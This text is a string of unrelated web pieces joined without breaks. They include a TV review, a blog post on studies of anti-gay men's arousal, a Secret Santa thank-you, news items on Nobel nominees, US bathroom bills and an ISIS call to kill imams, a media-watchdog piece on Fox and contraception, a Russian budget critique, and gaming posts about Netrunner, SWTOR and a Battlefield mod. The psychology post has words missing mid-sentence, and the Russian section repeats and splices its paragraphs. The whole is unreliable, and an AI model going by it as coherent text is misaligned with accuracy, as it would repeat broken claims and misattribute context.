Of course, being PBS, there were no station breaks, no commercials and therefore no bumpers to identify the program. The listing in the local program guide was incorrect which was not uncommon. I had no immediate way to identify the enigmatic show, which of course added allure.
There are seven main parts to the program although seventeen episodes were produced in total for sale to the lucrative television market in the United States. These seven parts are critical as episodes originally conceived by Mr. McGoohan to convey the story, themes and ideas. Absolutely essential science fiction.A while back I wrote about a study in which self-reported heterosexual men gave their attitudes toward homosexuals prior to being exposed to gay male. The study found that the men who were the most anti-gay prior to the study were the most aroused by the gay male porn. How did they know this? Well, the researchers measured the blood flow to each man's penis while watching the porn. The more anti-gay a man was, to put it bluntly, the larger his penis got relative to its original size.
A recent series of studies followed up on this research. These studies found that at an implicit, preconscious, level men who reported being the most anti-gay were the quickest to identify as. (i.e., they were quickest to respond to the word "me" after "homosexual" was subliminally primed). Further, the men that had the largest gap between their explicit, reported sexual preference and their implicit sexual preference had the most anger and hostility towards gays. And lastly, these effects were especially strong for people who reported having who were controlling. In other words, they men who were the most anti-gay explicitly showed an implicit preference for identifying as gay themselves, and that these people also were the most hostile towards gay people.
Though not part of these studies, frustration is typically associated with an increased chance of. Perhaps then, anti-gay from many men is just a retaliatory thing stemming from their frustration over being sexually aroused by men, but society, and their families, not approving of it, and in turn, them being frustrated over not being able to express it.
That would be a super cool extension of this research to be tested, if I do say so myself (and I do!)
When it comes to men hating gay men, it is in part just a cover up for their gay male. This isn't saying that these men are gay (arousal towards women was not measured in these studies), however, it could mean, at the least, that they are bi-sexual.I've been waiting patiently for today, when my gift was set to arrive, and when I saw the little bowtie-clad Snoo drawn on the package, I knew I was in for a treat! And Santa did not disappoint!!
After pulling some squishy wrapped parcels out of the package, I saw a folded note that told me to open the gifts first! I unwrapped the first of the squishy parcels to find FOUR knitted bowties in various colors (including yellow and rainbow, which I told Santa were my favorites)!! My jaw dropped open from excitement! These are a hearty addition to my bowtie collection, and I will definitely be wearing one tonight to my other in-person Secret Santa gift exchange!!
Opening the second squishy parcel (which I could see through the tissue paper was also rainbow!!!), I found a beautiful and very bright crocheted circle scarf, along with a pair of cute keep-my-spot finger bookmarks that will definitely go to good use for this bookworm!
My Santa wrote a sweet note explaining that she handmade the bowties and scarf!! This was her first attempt at bowties, which is very impressive! I have a pretty small build for a bowtie-wearer, but all four of the ties had straps that button to a perfect length, and bows that are great sizes! Santa also told me she understood if the scarf was too psychedelically bright for me, but if it has rainbows, I LOVE IT! It actually happens to go nicely with the rainbow knitted hat I received from my partner as a Christmas gift just the other day! This seems to be the Christmas of the rainbow knitwear, and I am all about it!!
Thank you for your generosity, Santa, and thank you for all of the effort you put into making these gifts for me!! You put a big smile on this human's face. Happy holidays and much love!!Putin Among The Surprises On Nobel Peace Prize List
The winner of the Nobel Peace Prize will be announced Oct. 11. There are some expected names and a few surprising ones on the this year's list of nominees.
SCOTT SIMON, HOST:
The winner of the Nobel Peace Prize will be announced October 11. 2014's been a tough year for peace, with so many places in the world embroiled in war, suffering and ferment. But there are a few names that seem to keep coming up for the prize. Pope Francis has been nominated and Malala Yousafzai, the 17-year-old advocate for education and women's rights. Then there are few names that may be surprises - Edward Snowden, the former national security agency contractor who revealed a lot of agency secrets, Chelsea Manning, the former U.S. soldier known as Bradley Manning, who's serving a 35-year sentence for disclosing classified information through WikiLeaks, and Vladimir Putin. The International Academy of Spiritual Unity and Cooperation of Peoples of the World nominated the president of Russia for his efforts to prevent the U.S. from launching airstrikes on the Assad regime. Putin's been nominated despite Ukraine and Chechnya and Georgia and supplying arms to the Assad regime in Syria. The group said that Mr. Putin is a promoter of peace.
Copyright © 2014 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
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Trans? Need to use the bathroom? Not if the potty police in these six states have anything to do about it!
Trans or gender-nonconforming? Need to pee? Well, are you prepared to show your ID? Answer questions about your anatomy? How about submit to a chromosome search?
It may sound outlandish, but these are the demands proposed in legislation offered by LGBT people's latest adversaries: the bathroom cops.
First collectively referred to as "bathroom cops" by trans journalist Lexie Cannes, these Republican lawmakers in Florida, Texas, Kentucky, Minnesota, Missouri, and Nevada have introduced legislation that claims policing the genders of adults and students (while they perform basic bodily functions) will somehow assure safety and protect privacy.
The reactionary laws introduced by these self-appointed bathroom cops represent a right-wing response to incremental gains in trans accomodations. Whether this progress was new trans-affirming student athlete policies in Louisville, Ky., and Minnesota, or gender identity nondiscrimination protections in Florida's Miami-Dade County, the bathroom cops' response draws on old stereotypes and fear-mongering images of trans people as dangerous predators. That imaginary "danger," these politicians claim, justifies undoing civil rights gains, blocking the creation of safe spaces, sentencing citizens and business owners to fines and jail time, and even empowering students to receive financial "bounties" for proving they've shared sex-segrated facilities with trans classmates.
Even as one bathroom cop's bill dies in Kentucky, another springs up in Nevada — signaling an ongoing trend that has led some trans advocates to declare that bathrooms may be one of the next big LGBT civil rights battlegrounds.
Other advocates have taken to social media to send a message about what trans and gender-nonconforming people are really in bathrooms to do: #WeJustNeedToPee.
Scare tactics aside, it's becoming increasingly clear that the bathroom cops' bills may be illegal: According to the Transgender Legal and Education Defense Fund, these proposed laws violate Title IX's gender nondiscrimination provisions, which the U.S. Departments of Justice and Education recently clarified extend to gender identity.
With Florida's transphobic legislation already passing two votes in the House, it seems clear that the potty police may remain on patrol for a while longer — perhaps even leading to a federal challenge, should one of these bills actually become law. Meet the squad here...
Rep. Frank Artiles, Florida
Leading the charge for bathroom cops everywhere is Florida's Republican Rep. Frank Artiles, whose bathroom bill introduced February 4 has seen the most progress, already clearing two votes in the state's House.
Filed in response to a December 2 ordinance that banned discrimination based on gender identity and expression in public facilities throughout Miami-Dade County, Artiles's House Bill 583 would result in any trans citizen caught using a single-sex restroom that does not match the gender on their legal identification being charged with a first-degree misdemeanor, punishable by $1,000 fine and up to one year in jail. The law would also make whoever owned the establishment where a trans person uses the restroom open to lawsuits from other patrons, as they would be "liable in a civil action to any person who is lawfully using the same single-sex public facility."
Dubbed the "Papers to Pee" bill by detractors, HB 583 is, according to its creator, meant to protect citizens' privacy and assure their safety. Trans advocates, however, have pointed out that the bill could easily create situations in which trans people's privacy was breached as well as fuel the higher rates of physical and verbal violence that trans people face in restrooms compared to their cisgender (nontrans) peers.
Artiles's arguments have drawn on what Media Matters calls the "urban myth" of trans inclusion leading to cisgender men dressing as women to victimize others in women's restrooms — a fear-mongering image that the media watchdog has determined is unfounded after consulting with cities that have instituted gender identity nondiscrimination ordinances. While more than 200 states or localities have had trans-inclusive nondiscrimination ordinances on the books for more than a decade, there has never been a documented instance of someone "pretending" to be transgender to gain access to women's spaces and harass the women using them.
Those consequences were captured perfectly by trans Florida resident Cindy Sullivan in her emotional testimony during the first subcommittee vote. "I am Rep. Artiles's greatest fear," she declared. "If I go to use the bathroom, everybody in the restroom has the right to sue me.... You all just don't get it. I'm so scared of you. You can put me in jail for being me."
Rep. Debbie Riddle, Texas
Everything's bigger in Texas, they say — and that goes for the penalties bathroom cops envision for trans people caught using the "wrong" facilities.
Texas's House Bill 1748, introduced February 20 by Republican Rep. Debbie Riddle, took policing to a new level, proposing a larger fine than Florida Rep. Artiles's bill, criminalization of building managers who "repeatedly allow" trans people to use restrooms that accord with their gender identities, and an even stricter definition of "biological sex" that goes right down to the chromosomal level.
Trans people in violation of the proposed law would face a class A misdemeanor charge and, if convicted, spend up to one year in jail and be fined $4,000, while lenient building managers would face up to two years in jail and a maximum $10,000 fine. If passed, the law would potentially tighten how Texas defines gender, considering "a male [as] an individual with at least one X chromosome and at least one Y chromosome, and a female [as] an individual with at least on X chromosome and no Y chromosomes," thereby not only singling out transgender people but those who have chromosomes that don't fit the strict definition laid out in the bill, like intersex people.
Are Texans ready to have their chromosomes searched by the state?
Rep. Gilbert Peña, Texas
Two weeks after Rep. Debbie Riddle's proposed bathroom bill, Texas doubled down on its transphobia through Republican Rep. Gabriel Peña, whose House Bill 2801 declared that schools must "adopt a policy providing that only persons of the same biological sex may be present at the same time in any bathroom, locker room, or shower facility."
But there's more. Cisgender students would be able to receive a "bounty" every time they could prove they shared a bathroom, locker room, or shower with a trans classmate — an experience which, according to HB 2801, would so assuredly cause the cisgender student "mental anguish" that they could receive additional compensation for pain and suffering, in addition to $2,000 awarded to the student by the school for having broken the law.
PagesThe German-language Islamic state magazine Rumiyah has called on supporters and Islamic State fighters in Germany and Austria to murder moderate Imams who they consider “apostates.”
The magazine was released in several languages earlier this week through the various internet channels Islamic State uses to broadcast propaganda to its sympathisers, MEMRI reports. One of the methods used was a “telegram” app, an encrypted messaging service that ISIS often uses and is generally the first place the group takes credit for terror attacks.
The terror group named several prominent members of the Muslim community in both Germany and Austria as potential targets for assassination in an article entitled “Kill the infidel imams in Germany and Austria.”
Among the targets listed is Aiman Mazyek, Secretary-General of the Central Council of Muslims in Germany. Mazyek has made controversial statements in the past, such as calling for German leaders to limit the number of migrants flowing into the country in late 2015.
The Muslim leader has also slammed the anti-mass migration Alternative for Germany (AfD) likening them to Nazis after they revealed a platform of anti-Islamisation last year.
Omar Al-Rawi, a Vienna city councilman for the Socialist Party (SPÖ) and a member of the Council Committee on European and International Affairs was also listed as a target. Al-Rawi is also no stranger to controversy – in 2010 he led an official condemnation of Israel in the Vienna city hall over the Israeli raids on a flotilla heading for Gaza, which Israeli authorities claimed was not the humanitarian mission activists stated it to be.
Al-Rawi also led a protest against Israel in Vienna. Among the demonstrators were members of the Turkish far-right nationalist group the Grey Wolves who have clashed with Kurds in Germany and have been accused of trying to infiltrate German Chancellor Angela Merkel’s Christian Democratic Union (CDU) party through its diversity program.
Killing Imams they don’t agree with is nothing new for the Islamic State. In 2014 ISIS executed 13 clerics in the city of Mosul whom they deemed to be too moderate. Imam Muhammad al Mansuri was one of the victims of the terror group and was the imam in charge of the mosque in which ISIS leader Abu-Bakr Al-Baghdadi gave a rare public appearance to lead prayers.
Islamic State killed a further six imams in early 2015 after they condemned the group’s actions when they burned Jordanian pilot Mu’ath Kasasbeh alive.
Follow Chris Tomlinson on Twitter at @TomlinsonCJ or email at ctomlinson@breitbart.comFox figures have suggested that President Obama is anti-Catholic or anti-religion following the administration's recent decision requiring church-affiliated organizations to provide health insurance plans that cover contraceptives for women. But polling has shown that a majority of Catholics have said that insurance policies should cover contraceptives; moreover, the Obama administration has repeatedly engaged the faith-based community -- including Catholic leaders -- and has directed millions in funding to religious groups. This follow's Fox's long history of portraying Obama as hostile toward religion.
Obama Admin. Reaffirms Health Care Insurers Must Cover Contraception
NYT: "Obama Reaffirms Insurers Must Cover Contraception." From a January 20 article in The New York Times:
The Obama administration said Friday that most health insurance plans must cover contraceptives for women free of charge, and it rejected a broad exemption sought by the Roman Catholic Church for insurance provided to employees of Catholic hospitals, colleges and charities. Federal officials said they would give such church-affiliated organizations one additional year -- until Aug. 1, 2013 -- to comply with the requirement. Most other employers and insurers must comply by this Aug. 1. Leaders of the Roman Catholic Church had personally appealed to President Obama to grant the broad exemption. He made the final decision on the issue after hearing from them, as well as from family planning advocates, scientific experts and members of Congress, administration officials said. The rule takes a big step to remove cost as a barrier to birth control, a longtime goal of advocates for women's rights and experts on women's health. [...] Catholic bishops issued a statement saying they would fight the "edict" from the government. "In effect, the president is saying we have a year to figure out how to violate our consciences," said Archbishop Timothy M. Dolan of New York, the president of the United States Conference of Catholic Bishops. [...] The rule includes an exemption for certain "religious employers," including houses of worship. But church groups said the exemption was so narrow that it was almost meaningless. A religious employer cannot qualify for the exemption if it employs or serves large numbers of people of a different faith, as many Catholic hospitals, universities and social service agencies do. [...] The 2010 health care law says insurers must cover "preventive health services" and cannot charge for them. The new rule interprets this mandate. It requires coverage of the full range of contraceptive methods approved by the Food and Drug Administration. Among the drugs and devices that must be covered are emergency contraceptives including pills known as ella and Plan B. The rule also requires coverage of sterilization procedures for women without co-payments or deductibles. [The New York Times, 1/20/12]
Fox Reacts To Ruling By Painting Obama As Anti-Catholic
Fox Panelists Use Contraception Regulation To Advance Obama Anti-Catholic Smear. On the January 25 edition of Fox Business' Follow the Money, host Eric Bolling and a panel of guests attacked Obama over the regulation. Radio host Doug Giles said, "Well, here's where goofy Christians who voted for Obama... [now] get fish slapped with the reality of what it means when his policies are implemented." Radio host Lars Larson said the regulation is "stealing people's individual liberties." [Fox Business, Follow the Money, 1/25/12, via Media Matters]
Doocy: With Birth Control Rules, "Is [Obama] Provoking An Unnecessary War With America's Religious Leaders?" On the January 25 broadcast of Fox News' Fox & Friends, co-host Steve Doocy teased an upcoming segment about the birth control regulation by saying: "The president orders religious institutions to cover birth control in their health plans. Is he provoking an unnecessary war with America's religious leaders? Up next, the bishop leading the plan to fight back against President Obama." On-screen text beneath footage of Obama read, "Religious war." [Fox News, Fox & Friends, 1/25/12, via Media Matters]
Fox's Guilfoyle: Contraception Regulation Part Of Obama's Alleged "War Against Religion" And "War Against The Catholic Church." During the January 24 edition of Fox News' The O'Reilly Factor, Fox News host Kimberly Guilfoyle claimed that the contraception regulation was part of Obama's "war against religion" and "war against the Catholic Church." From the broadcast:
BILL O'REILLY (host): Catholic Church -- GUILFOYLE: Yes. O'REILLY: Obama administration -- GUILFOYLE: Yes. O'REILLY: What's the beef? GUILFOYLE: Well, this part of the whole allegation of the war against religion, the war against the Catholic Church. This has the U.S. Bishops, the Cardinals, the Vatican very upset about this. They have been battling with the Obama administration over this specific rule. [Fox News, The O'Reilly Factor, 1/24/11, via Media Matters]
Johnson: "Why is President Obama Picking On [Catholics] This Way?" Discussing the ruling on the January 23 edition of Fox News' Fox & Friends, Fox News legal analyst Peter Johnson Jr. claimed that Catholics might ask, "Why is President Obama picking on us in this way?" From the broadcast:
DOOCY: OK, so the Catholic Church is being told you got to provide contraceptives, sterilization, and Plan B. JOHNSON: Yeah, President Obama, after meeting with the bishops and after speaking allegedly with Cardinal Designate [Timothy] Dolan, the new cardinal from New York, has said that the federal government is going to demand that Catholic universities, Catholic social service agencies, Catholic institutions other than churches provide drugs that induce abortions, provide sterilizations, provide contraceptions free, really in violation of Catholic faith and, really, other organizations and other religious organizations, it violates their faiths. Some orthodox Jewish organizations, some evangelical groups have also objected.... So on one hand, you're saying, well, can we keep faith but can we keep adherence of the law, and you're asking us to choose. DOOCY: You can't do both. JOHNSON: Well, it's a violation of the United States Constitution, and there will be a whole raft of lawsuits based on this incursion. And in an election year, a lot of Catholic voters are going to say why is the federal government doing this to us? Why is President Obama picking on us in this way? [Fox News, Fox & Friends, 1/23/12]
Fox's Tantaros: The Obama Administration Has Been "Beating Up On Catholics For A Long Time." During the January 9 edition of Fox News' Happening Now, Fox News contributor Andrea Tantaros claimed that the Obama administration has been "beating up on Catholics for a long time." After a clip of presidential candidate Newt Gingrich speaking at a debate was aired, co-host Jon Scott said:
SCOTT: Newt Gingrich winning a lot of applause there. The question that we didn't hear was George Stephanopoulos, Andrea, asking whether the state should be allowed to ban contraceptives. What do you think about that whole issue? TANTAROS: Well, first of all, the fact that the head of the Clinton attack machine, George Stephanopoulos, is moderating a GOP debate, to me seems ridiculous. And this question about contraception, this is the new media "gotcha" question, right? They're bombarding Rick Santorum with this question, and I would encourage the GOP not to take the debate on this one. The Supreme Court already ruled on this in Griswold v. Connecticut. They said that states can't do this. And that's what the candidates should say. Really, George Stephanopoulos asking about contraception when we still have high unemployment -- it's absolutely ridiculous. And the point about the Obama administration -- they have been cutting services to the Catholic Church and have been beating up on Catholics for a long time. The Catholic Church does a lot of good behind the scenes. They do a lot of good out there on the streets, and they have cut funding, just because they don't agree with their beliefs, some of those beliefs, which I would point out, the administration espouses itself, like gay marriage. [Fox News, Happening Now, 1/9/12, via Media Matters]
But Contrary To Suggestion That Ruling Is Anti-Catholic, Poll Shows Catholics Support Insurance Coverage For Contraception
Catholics For Choice Poll Found "63 Percent Of American Catholics" Said Insurance Policies Should Cover "Contraception, Such As Birth Control Pills." According to a 2009 poll conducted for Catholics for Choice, 63 percent of American Catholics said that "health insurance policies -- whether they are private or government -- should cover... contraception, such as birth control pills."
[Belden Russonello & Stewart, September 2009]
And Several Catholic Groups Found "Silver Lining" In HHS Ruling
Catholic United's Executive Director: "There Is A Silver Lining In Today's Ruling. Increased Access To Contraceptive Services Will Dramatically Reduce The Abortion Rate In America." James Salt, executive director of the group Catholics United, issued this statement in response to the contraception ruling:
Although we recognize the authority of Catholic teaching on the issue of contraception, we also acknowledge that there is a silver lining in today's ruling. Increased access to contraceptive services will dramatically reduce the abortion rate in America. Reducing abortion should be a goal recognized by both sides of this highly polarized debate. Furthermore, we look forward to working with the administration in finding a win-win solution that will both meet the medical needs of women while protecting the religious liberty of Catholic institutions. [Catholics United, 1/20/12]
Catholic Democrats President Whelan: "These New Regulations... Will Certainly Help Reduce The Number Of Unintended Pregnancies" And "Decrease The Incidence Of Abortion." Dr. Patrick Whelan, president of Catholic Democrats, issued a statement on the HHS ruling that noted, |
дивиденды «Роснефти», «Газпрома» и других компаний, а потом Таких посредников, оставляющих у себя в кармане причитающиеся государству дивиденды по акциям, даже в 90-е не было.
Вторая — госкомпании вообще платят очень маленькие дивиденды по сравнению с частными компаниями. Например, за 2014 год «Лукойл» и «Сургутнефтегаз» платили своим акционерам дивидендов в размере 150-170 рублей с барреля добытого нефтяного эквивалента (нефть + газ). «Роснефть» и «Газпром» — лишь около 50 рублей. «Газпром нефть» — порядка 75 рублей, но и это в бюджет не попадает, так как государство не владеет «Газпром нефтью» напрямую, а попадает к «Газпрому», который дивиденды «Газпром нефти» тратит по своему усмотрению.
Если бы «Газпром», «Роснефть» и «Газпром нефть» платили бы государству напрямую дивиденды в размере 150 рублей за баррель добытого нефтяного эквивалента, то государство дополнительно получило бы более 520 млрд рублей в бюджет. Для сравнения: все расходы на здравоохранение, запланированные на 2016 год — всего 476 млрд. Но дополнительные деньги остаются в кармане государственных нефтегазовых компаний, бюджет страны от них не получает того, что должен.
* * *
Вот такая вот история с бюджетом страны на следующий год. Важно, чтобы люди видели, кто из государственных монстров недоплачивает в бюджет, а кто получает оттуда лишнего, незаработанного, вследствие чего недофинансирована наша социальная сфера, а правительство отказывается от индексации пенсий и зарплат. Денег там на все это хватает — там ума не хватает.
Неудивительно, что даже про-путинские депутаты не хотят за такой бюджет голосовать., а основное бремя финансирования социальных расходов — прежде всего образования и медицины — как раз и лежит на регионах. Неудивительно, что регионы масштабно урезают финансирование медицины и образования.Итого получаем:Еще один проблемный момент: крайне низкий уровень доходов от использования государственного имущества. От приватизации предполагается выручить всего 33 млрд рублей, хотя там давно все надо разделить и продать (но правительство продавать свои не приносящие дохода активы упорно отказывается ). Государство национализировало в прошедшие годы огромную собственность, но в виде дивидендов по принадлежащим ему акциям планирует выручить лишь… 140,5 млрд рублей. По нынешнему курсу — чуть более 2 млрд долларов.Представляете себе, они собрали под контролем такое огромное количество собственности, которое трудно даже себе представить — все эти Роснефти, Газпромы, Транснефти, РЖД и так далее. И все это ежегодно приносит в бюджет… жалкие пару миллиардов долларов. Чтобы вы понимали: 2 млрд $ — это стоимость российского экспорта за два с половиной дня (!). Мы примерно на $900 млн долларов в день товаров экспортируем. А это речь идет обо всех дивидендах за год!Тут две проблемы. Первая — огромные пакеты акций госкомпаний аккумулирует сечинская прослойка «Роснефтегаз», где работают полторы секретарши, и которая собирает в свою кубышку дивиденды «Роснефти», «Газпрома» и других компаний, а потом лишь малую долю их переводит в бюджет (остальное тратит по своему усмотрению). Это вообще неприемлемо, «Роснефтегаз» должен быть ликвидирован, а дивиденды госкомпаний государство должно собирать напрямую.Вторая — госкомпании вообще платят очень маленькие дивиденды по сравнению с частными компаниями. Например, за 2014 год «Лукойл» и «Сургутнефтегаз» платили своим акционерам дивидендов в размере 150-170 рублей с барреля добытого нефтяного эквивалента (нефть + газ). «Роснефть» и «Газпром» — лишь около 50 рублей. «Газпром нефть» — порядка 75 рублей, но и это в бюджет не попадает, так как государство не владеет «Газпром нефтью» напрямую, а попадает к «Газпрому», который дивиденды «Газпром нефти» тратит по своему усмотрению.. Для сравнения: все расходы на здравоохранение, запланированные на 2016 год — всего 476 млрд. Но дополнительные деньги остаются в кармане государственных нефтегазовых компаний, бюджет страны от них не получает того, что должен.* * *Вот такая вот история с бюджетом страны на следующий год. Важно, чтобы люди видели, кто из государственных монстров недоплачивает в бюджет, а кто получает оттуда лишнего, незаработанного, вследствие чего недофинансирована наша социальная сфера, а правительство отказывается от индексации пенсий и зарплат. Денег там на все это хватает — там ума не хватает.Неудивительно, что даже про-путинские депутаты не хотят за такой бюджет голосовать.
13 ноября Госдума приняла бюджет-2016 в первом чтении рекордно низким числом голосов — всего 239 «за», еле-еле преодолели планку в 226 минимально необходимых. (А вы говорите, что может сделать небольшая фракция в Госдуме и какая разница, будет ли у ЕР большинство или нет — большая разница, даже сегодня, не говоря уже про завтра.)Что же это за бюджет такой, который даже лояльные Путину депутаты толком не хотят принимать? Действительно, там есть от чего волосам встать дыбом.— чтобы вам проще было разобраться в отдельных статьях, я свел важные расходы в одну табличку, в сравнении с дкризисным бюджетом 2008 года, чтобы было понятно, что и насколько выросло (материалы бюджета-2016, принятого в первом чтении, здесь ):Как видно, статья «Национальная безопасность и правоохранительная деятельность» выросла с 2008 года по расходам почти втрое, причем расходы на органы внутренних дел — более чем в три раза (привет «реформе МВД» имени Д.А.Медведева). На этом фоне, замечу, преступность растет В целом, как вы можете увидеть, кратно наращивались расходы на всех силовиков — полиция, внутренние войска, прокуроры и следователи, ФСИН, МЧС, «контроль за оборотом наркотиков» (смертность от наркотиков в России только по официальным данным 90 тыс человек в год), расходы на миграционные службы (привет визовой политике открытых дверей).Еще один «чемпион роста» — статья «Национальная экономика». Это вот все те самые государственные прожекты, которые финансируются за наш с вами счет — «мосты в никуда», пустующие олимпийские объекты, и так далее. Это вообще ненормально, что государство так много на себя взяло в плане финансирования экономики — экономику должен финансировать частный бизнес, именно провал с созданием в России благоприятных условий для инвестиций и приводит к тому, что эти дыры затыкают за счет средств налогоплательщиков.Там есть и полезные вещи (дороги, поддержка сельхозпроизводителей и т.д. — хотя и на строительстве дорог можно сереьзно сэкономить за счет конкуренции, борьбы с коррупцией и откатами, о чем писал Навальный ), но в бюджете-2016 по этой крупнейшей экономической статье (которая превышает примерно в 5 раз расходы и на образование, и на здравоохранение) заложены всякие вот такие интересные штуки:Ну а также госпрограмма социально-экономического развития Крымского федерального округа на 132 млрд руб, и помощь Абхазии и Южной Осетии на 16 млрд.Там много еще чего интересного, в бюджете, но вот что характерно, расходы по статье «Управление делами Президента РФ» (46 млрд) кратно даже собственно расходы на «Функционирование Президента Российской Федерации» (почти 17 млрд) — не слишком ли дороговато нам эта президентская власть обходится??? Задумаешься тут лишний раз о переходе к парламентской республике))И еще один чемпион по росту расходов — более чем вдвое за 8 лет — «поддержка СМИ». Ну куда же без нее, народу же надо правильно объяснить, что во всем этом Обама виноват., родное и любимое. Вы вот смеетесь над телеканалом «Звезда», а он дотацию в 1 млрд из бюджета получит в следующем году — а у вас нет миллиарда, так что вы идете сами знаете куда.Но это все было бы смешно, если бы не было так грустно, так как(триллион на двоих из 16 трлн). Россия занимает 95-е место в мире по расходам на медицину как % от ВВП (6,5%), пропуская намного вперед не только Украину (7,8%), но и многие африканские страны.Практически на том же уровне, как и в 2008 году, остается уровень прямых бюджетных трансфертов регионам — хотя основные налоги собираются там, дефицит региональных бюджетов уже огроменYou took your PAD into the street. You bought a sandwich from the local deli. You called your friend. You deleted the record of your call. Then you drove downtown and stole a Qianju PT. You rode it to our branch office and gained entry using the badge you stole from our sysop. That's when you jacked into our internal network. It was all very well done. The only question is: did you really think we wouldn't notice?
Fantasy Flight Games is proud to announce the upcoming release of Data and Destiny, the fourth deluxe expansion for Android: Netrunner The Card Game!
With its 165 cards (three copies each of fifty-five different cards), Data and Destiny explores new aspects of the info-focused megacorp NBN. In the world of Android: Netrunner, knowledge is just about everything, and no one has more or better access to the knowledge that humanity has collected and stored on the network. After all, not only does NBN boast the most pervasive data network ever imagined, it literally controls the infrastructure, media, and messages that define modern society. Accordingly, in Data and Destiny, you'll find a wealth of new media-focused assets, agendas, and resources. You'll be selectively targeted by new advertisements and tagged by new ice as NBN launches the initiatives of three new divisions, each of which rolls out with a new identity card.
Meanwhile, even as Data and Destiny lends new strength to NBN's efforts to shape the world in which we live, it unleashes chaos upon that world in the form of three new Runners. One is a network security officer sent to hack servers with the full blessings of Globalsec. One is a bioroid mysteriously set free from the Third Directive. One is a mysterious and predatory presence on the net, devouring all that it encounters. Each represents a unique take on the Runner's experience and, more than that, each introduces a new Runner mini-faction, so that for the first time since the Core Set, Data and Destiny explores brand new Runner paradigms.
Why Add Runner Mini-Factions?
Runners Apex, Adam, and Sunny Lebeau don't fit into the standard archetypes for Shapers, Anarchs, or Criminals, but why do they appear as new Runner mini-factions? To answer that question, we turn to lead designer Lukas Litzsinger:
"Back in 2012, when I was working on the Core Set, we created a road map for the first four deluxe expansions. Since then, we've released the first three of these (Creation and Control, Honor and Profit, and Order and Chaos), each of which focuses on two factions, one Corp and one Runner. The fourth one was going to be special, because we had seven factions in the game. Many different ideas were thrown around, but the one that stuck was that the box would introduce neutral Runners. These Runners would not fall into our three existing factions, for both thematic and mechanical reasons. Not everyone that hacks can – or should – be defined as Shaper, Anarch, or Criminal.
"However, things change, and our original idea was refined over time, especially in playtesting. We realized that our new Runners should belong to three new mini-factions, rather than a group of neutral Runners. I want to be very clear: we are not introducing a fourth, fifth, and sixth Runner faction to the game. The majority of the support these Runners will ever get is contained within Data and Destiny, and you will continue to see many Shaper, Anarch, and Criminal cards in the future.
"Ultimately, we made the decision to launch these Runners in their own mini-factions in order to ensure that each introduced creative deck-building possibilities without breaking or handicapping the game. Each has its own personality, and we felt that making them all neutral undermined their unique identities. It would have also meant that we couldn't push their power levels to the extent that we wanted; as neutral Runners each could have cherry-picked the best cards from the others. Additionally, by associating them all with their own mini-factions, we were able to carve out a unique aesthetic for each of these Runners with new card templating and retained the design space we would need to print more powerful neutral cards in the future, since all Runners would still have to pay influence for them.
"In the end, I feel confident that Apex, Sunny, and Adam will shake up the competitive environment in a good way, and that more casual players will have a lot of fun putting all of their signature cards together in one deck. Finally, I expect everyone will enjoy figuring out how to spend the twenty-five influence that each of these Runners has! Android: Netrunner has never been in a stronger position than now, and we look forward to taking the game to the next level."
Everything, Everywhere
NBN partners an unparalleled access to information with bleeding edge analytics to give customers what they want and keep them happy. However, even with the most sophisticated information infrastructure in the solar system, no one can please all the people, all the time. NBN's executives recognize they will never gain absolute market share and that they will always be forced to deal with a small number of disenfranchised criminals who will want to cut the Corp to pieces simply because it is the biggest and best in its field.
Still, that doesn't mean they have to like it or allow the criminals to succeed. In Data and Destiny, we meet one of these executives and discover the steps she's taken to secure NBN's legacy well into the future. As CEO of the largest media empire in the solar system, Victoria Jenkins (Data and Destiny, 11) has earned an astonshing measure of influence, and she uses it in Data and Destiny to rally a host of other characters and corporate divisions to support her four-pronged efforts to improve data collection, improve marketing, reduce the negative impact of criminal invasions of NBN servers, and seize control of the ongoing messaging about cybercrime.
To that end, Data and Destiny explores all-new designs in its agendas and assets as NBN looks to improve its image among consumers by establishing a number of unique characters as household names. You'll find agendas that aren't worth nearly as much to the Runner as they are to the Corp. You'll find news teams looking to break all the latest stories and then bend them in NBN's favor. You'll find new designs in ice that excel at tracking down the criminals that run on NBN's servers, and you'll find three new identity cards, including a new flip identity, SYNC (Data and Destiny, 1), that makes it harder for those criminals to shake their tags and that makes it easier for NBN to erase the criminal infrastructure that supports a Runner's runs.
In the end, though, as much as NBN's executives may not like the fact, life is all about surprises, and Data and Destiny offers plenty of surprising new tricks to both Runner and Corp, although cards like Surveillance Sweep (Data and Destiny, 23) go a long way toward ensuring that NBN suffers from as few surprises as humanly possible.
Knowledge Is Everything
Who holds your data? The agencies and individuals who hold your data gain the power they need to write your destiny.
Knowledge is everything in the world of Android: Netrunner, and Data and Destiny takes aim at all the available data with laser focus. From the solar system's best news and advertising agencies to the most mysterious Runners on the net, Data and Destiny offers new looks at tools and tricks for every fan of the game's high-stakes cyberstruggles. Use the new NBN identities, use the new Runners, or just add the new neutral cards to your decks and spend your influence to borrow the other tricks you wish were yours.
Control your data. Control your destiny. Data and Destiny is scheduled to arrive at retailers in the third quarter of 2015!Quote Main Thread Link
Direct link to the Table
Recent Changes to the Table: The Table has been updated to reflect changes in Patch 4.0.2.
More companions have been added to the sheet including Darth Marr. It should now have all available companions.\
Color of gifts now match Gift Rarity color scheme.
Romance Gifts have been moved to a second row for easier viewing.
NOTE: Romance gifts are still bugged. ( Please leave a reply when you notice them working again )
Name and L2 links to more detailed information on the companions are now complete.
Cartel Pack information links have been added to Companions received from Cartel Packs.
Treek Contract information link has been added.
HK-51 mission guide link has been added.
Next feature will be links to customization information.
Please reply here with any discrepancies you may find or right click and select insert comment on the sheet on the cell with the discrepancy.
Recommended to subscribe to this thread if you want to be alerted when changes are made to this sheet.
Please leave a reply with any suggestion you may have to improve this sheet.
Enjoy,
DorjeeVajra Please reply here with any discrepancies you may find or right click and select insert comment on the sheet on the cell with the discrepancy.Recommended to subscribe to this thread if you want to be alerted when changes are made to this sheet.Please leave a reply with any suggestion you may have to improve this sheet.Enjoy,DorjeeVajra Great Source of Info: for New, Returning & Veteran Players.
SWTOR Community Guides and Resources - SWTORCGR 4.0 ~ Post Link Direct Link
Click My Referral Link for Free Gift Bundles ~ Benefits and Rules for using Referral CodesHere is our yearly update for Battlefield: Korea! This brings the game to version 1.1, and it has many enhancements and additions like new factions, vehicles and more weapons and maps.
You can see our recent new weapons showcase here.
The full changelog is too long to post here, but you can find the complete list of changes and updates inside the mod folder in a text file named!IMPORTANT - Changelog.txt.
Some of the things you can expect in this release...
2 new factions.
Republic of Korea.
British Commonwealth Forces Korea.
Complete overhaul to weapons and tank handling.
Ability to zoom in tanks now. Press "X" key to zoom in to fire.
